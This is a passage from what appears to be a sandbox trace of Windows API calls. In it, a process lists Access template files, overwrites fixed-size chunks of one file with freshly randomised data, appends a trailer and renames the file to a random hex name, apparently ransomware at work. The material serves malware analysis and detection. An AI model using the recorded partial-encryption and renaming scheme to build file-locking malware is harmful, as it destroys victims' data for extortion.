(_String1="Media.accdt", _String2=".") returned 1 [0127.654] wcscmp (_String1="Media.accdt", _String2="..") returned 1 [0127.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1230 [0127.654] wcscpy (in: _Dest=0x202b1230, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.654] wcscat (in: _Dest=0x202b1230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.654] wcscat (in: _Dest=0x202b1230, _Source="Media.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" [0127.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b8 [0127.656] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b13300, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0b13300, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5465, dwReserved0=0x0, dwReserved1=0x0, cFileName="Msgbox.accdt", cAlternateFileName="MSGBOX~1.ACC")) returned 1 [0127.656] wcscmp (_String1="Msgbox.accdt", _String2=".") returned 1 [0127.656] wcscmp (_String1="Msgbox.accdt", _String2="..") returned 1 [0127.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b10f0 [0127.656] wcscpy (in: _Dest=0x202b10f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.656] wcscat (in: _Dest=0x202b10f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.656] wcscat (in: _Dest=0x202b10f0, _Source="Msgbox.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" [0127.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b10f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18bc [0127.657] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0307c00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0307c00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x60b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tabs.accdt", cAlternateFileName="TABS~1.ACC")) returned 1 [0127.657] wcscmp (_String1="Tabs.accdt", _String2=".") returned 1 [0127.657] wcscmp (_String1="Tabs.accdt", _String2="..") returned 1 [0127.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0f10 [0127.658] wcscpy (in: _Dest=0x202b0f10, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.658] wcscat (in: _Dest=0x202b0f10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.658] wcscat (in: _Dest=0x202b0f10, _Source="Tabs.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" [0127.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c0 [0127.660] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e0f200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0e0f200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xb315, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1 [0127.660] wcscmp (_String1="Tasks.accdt", _String2=".") returned 1 [0127.660] wcscmp (_String1="Tasks.accdt", _String2="..") returned 1 [0127.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1050 [0127.660] wcscpy (in: _Dest=0x202b1050, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.660] wcscat (in: _Dest=0x202b1050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.660] wcscat (in: _Dest=0x202b1050, _Source="Tasks.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" [0127.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c4 [0127.661] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 1 [0127.661] wcscmp (_String1="Users.accdt", _String2=".") returned 1 [0127.661] wcscmp (_String1="Users.accdt", _String2="..") returned 1 [0127.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0e70 [0127.661] wcscpy (in: _Dest=0x202b0e70, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.661] wcscat (in: _Dest=0x202b0e70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.662] wcscat (in: _Dest=0x202b0e70, _Source="Users.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" [0127.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c8 [0127.663] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 0 [0127.663] FindClose (in: hFindFile=0x1cd9c550 | out: hFindFile=0x1cd9c550) returned 1 [0127.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99450) returned 1 [0127.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c9f0) returned 1 [0127.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cf00) returned 1 Thread: id = 1629 os_tid = 0x1af8 [0125.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt")) returned 0x20 [0125.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt", dwFileAttributes=0x20) returned 1 [0125.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d4 [0125.478] GetFileSizeEx (in: hFile=0x14d4, lpFileSize=0x22fefbe0 | out: lpFileSize=0x22fefbe0*=1428600) returned 1 [0125.478] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x15cc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.478] ReadFile (in: hFile=0x14d4, lpBuffer=0x22fefb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22fefba8, lpOverlapped=0x0 | out: lpBuffer=0x22fefb60*, lpNumberOfBytesRead=0x22fefba8*=0x4, lpOverlapped=0x0) returned 1 [0125.480] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0125.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7af0 [0125.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0125.480] NtQuerySystemTime (in: CurrentTime=0x22fefaa0 | out: CurrentTime=0x22fefaa0*=132462177308446000) returned 0x0 [0125.480] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x17b2354 [0125.480] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x30185db8 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0xa29f6b4 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x50d0574c [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x4feb4a6e [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x27d527a2 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x7eab4f44 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x568f8557 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x33592924 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x3303365a [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x1c2f7fbc [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x5f0ee970 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x5098dfb3 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x677a3137 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x685d477e [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x7f6f7247 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x160e807c [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x25ca37fe [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x54fc8947 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x36650f98 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x55907cf7 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x19341ee2 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x2970f8d9 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x48153757 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x654949ab [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x57c154db [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x426e969 [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x1ab15f8e [0125.481] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x7f6dd74a [0125.482] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x1e0233be [0125.482] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x7bd73659 [0125.482] RtlRandomEx (in: Seed=0x22fefa90 | out: Seed=0x22fefa90) returned 0x17bedac [0125.491] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.491] ReadFile (in: hFile=0x14d4, lpBuffer=0x41b3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22fefb00, lpOverlapped=0x0 | out: lpBuffer=0x41b3d170*, lpNumberOfBytesRead=0x22fefb00*=0x3c00, lpOverlapped=0x0) returned 1 [0125.494] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0125.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b20) returned 1 [0125.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b40d80 [0125.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0125.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0125.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b80) returned 1 [0125.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.495] WriteFile (in: hFile=0x14d4, lpBuffer=0x41b40d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22fefb00, lpOverlapped=0x0 | out: lpBuffer=0x41b40d80*, lpNumberOfBytesWritten=0x22fefb00*=0x3c00, lpOverlapped=0x0) returned 1 [0166.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b40d80) returned 1 [0166.160] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0xb0400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.160] ReadFile (in: hFile=0x14d4, lpBuffer=0x41b3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22fefb00, lpOverlapped=0x0 | out: lpBuffer=0x41b3d170*, lpNumberOfBytesRead=0x22fefb00*=0x3c00, lpOverlapped=0x0) returned 1 [0166.232] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0xb0400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2780 [0166.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2780) returned 1 [0166.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ca6910 [0166.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2780 [0166.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0cb0 [0166.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0cb0) returned 1 [0166.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.235] WriteFile (in: hFile=0x14d4, lpBuffer=0x41ca6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22fefb00, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesWritten=0x22fefb00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0194.662] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x159078, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.662] ReadFile (in: hFile=0x14d4, lpBuffer=0x41b3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22fefb00, lpOverlapped=0x0 | out: lpBuffer=0x41b3d170*, lpNumberOfBytesRead=0x22fefb00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.739] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x159078, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d370 [0194.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d370) returned 1 [0194.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2036bd40 [0194.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d370 [0194.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d400 [0194.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d400) returned 1 [0194.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.743] WriteFile (in: hFile=0x14d4, lpBuffer=0x2036bd40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22fefb00, lpOverlapped=0x0 | out: lpBuffer=0x2036bd40*, lpNumberOfBytesWritten=0x22fefb00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0205.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319ff30 [0205.388] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.388] WriteFile (in: hFile=0x14d4, lpBuffer=0x431f6400*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x22fefbb0, lpOverlapped=0x0 | out: lpBuffer=0x431f6400*, lpNumberOfBytesWritten=0x22fefbb0*=0x14e, lpOverlapped=0x0) returned 1 [0208.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0208.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7190) returned 1 [0208.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7190 [0208.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0208.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0208.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7580) returned 1 [0208.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce61650 [0208.900] sprintf (in: _Dest=0x1ce61650, _Format="%c%c" | out: _Dest="2c") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61652, _Format="%c%c" | out: _Dest="c0") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61654, _Format="%c%c" | out: _Dest="10") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61656, _Format="%c%c" | out: _Dest="ca") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61658, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.900] sprintf (in: _Dest=0x1ce6165a, _Format="%c%c" | out: _Dest="b1") returned 2 [0208.900] sprintf (in: _Dest=0x1ce6165c, _Format="%c%c" | out: _Dest="33") returned 2 [0208.900] sprintf (in: _Dest=0x1ce6165e, _Format="%c%c" | out: _Dest="19") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61660, _Format="%c%c" | out: _Dest="4c") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61662, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61664, _Format="%c%c" | out: _Dest="39") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61666, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.900] sprintf (in: _Dest=0x1ce61668, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.900] sprintf (in: _Dest=0x1ce6166a, _Format="%c%c" | out: _Dest="45") returned 2 [0208.900] sprintf (in: _Dest=0x1ce6166c, _Format="%c%c" | out: _Dest="21") returned 2 [0208.901] sprintf (in: _Dest=0x1ce6166e, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61670, _Format="%c%c" | out: _Dest="22") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61672, _Format="%c%c" | out: _Dest="82") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61674, _Format="%c%c" | out: _Dest="25") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61676, _Format="%c%c" | out: _Dest="9e") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61678, _Format="%c%c" | out: _Dest="92") returned 2 [0208.901] sprintf (in: _Dest=0x1ce6167a, _Format="%c%c" | out: _Dest="b8") returned 2 [0208.901] sprintf (in: _Dest=0x1ce6167c, _Format="%c%c" | out: _Dest="6b") returned 2 [0208.901] sprintf (in: _Dest=0x1ce6167e, _Format="%c%c" | out: _Dest="bf") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61680, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61682, _Format="%c%c" | out: _Dest="da") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61684, _Format="%c%c" | out: _Dest="2f") returned 2 [0208.901] sprintf (in: _Dest=0x1ce61686, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.901] RtlInitAnsiString (in: DestinationString=0x22fefc28, SourceString="2cc010cafdb133194cd5395ad24521a02282259e92b86bbfd9da2fa1" | out: DestinationString="2cc010cafdb133194cd5395ad24521a02282259e92b86bbfd9da2fa1") [0208.901] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fefbf8, SourceString="2cc010cafdb133194cd5395ad24521a02282259e92b86bbfd9da2fa1", AllocateDestinationString=1 | out: DestinationString="2cc010cafdb133194cd5395ad24521a02282259e92b86bbfd9da2fa1") returned 0x0 [0208.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ceba160 [0208.902] wcscat (in: _Dest=0x43146560, _Source="2cc010cafdb133" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2cc010cafdb133") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2cc010cafdb133" [0208.902] wcscat (in: _Dest=0x43146560, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2cc010cafdb133.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2cc010cafdb133.2f9b60" [0208.902] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2cc010cafdb133.2f9b60", NtPathName=0x22fefbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2cc010cafdb133.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fd900 [0238.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd900) returned 1 [0238.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430aaa60) returned 1 [0238.464] NtQueryInformationFile (in: FileHandle=0x14d4, IoStatusBlock=0x22fefc38, FileInformation=0x22fefc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22fefc38, FileInformation=0x22fefc48) returned 0x0 [0238.464] NtSetInformationFile (FileHandle=0x14d4, IoStatusBlock=0x22fefc38, FileInformation=0x22fefc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43146560) returned 1 [0242.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.000] FlushFileBuffers (hFile=0x14d4) returned 1 [0242.013] CloseHandle (hObject=0x14d4) returned 1 [0243.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1690 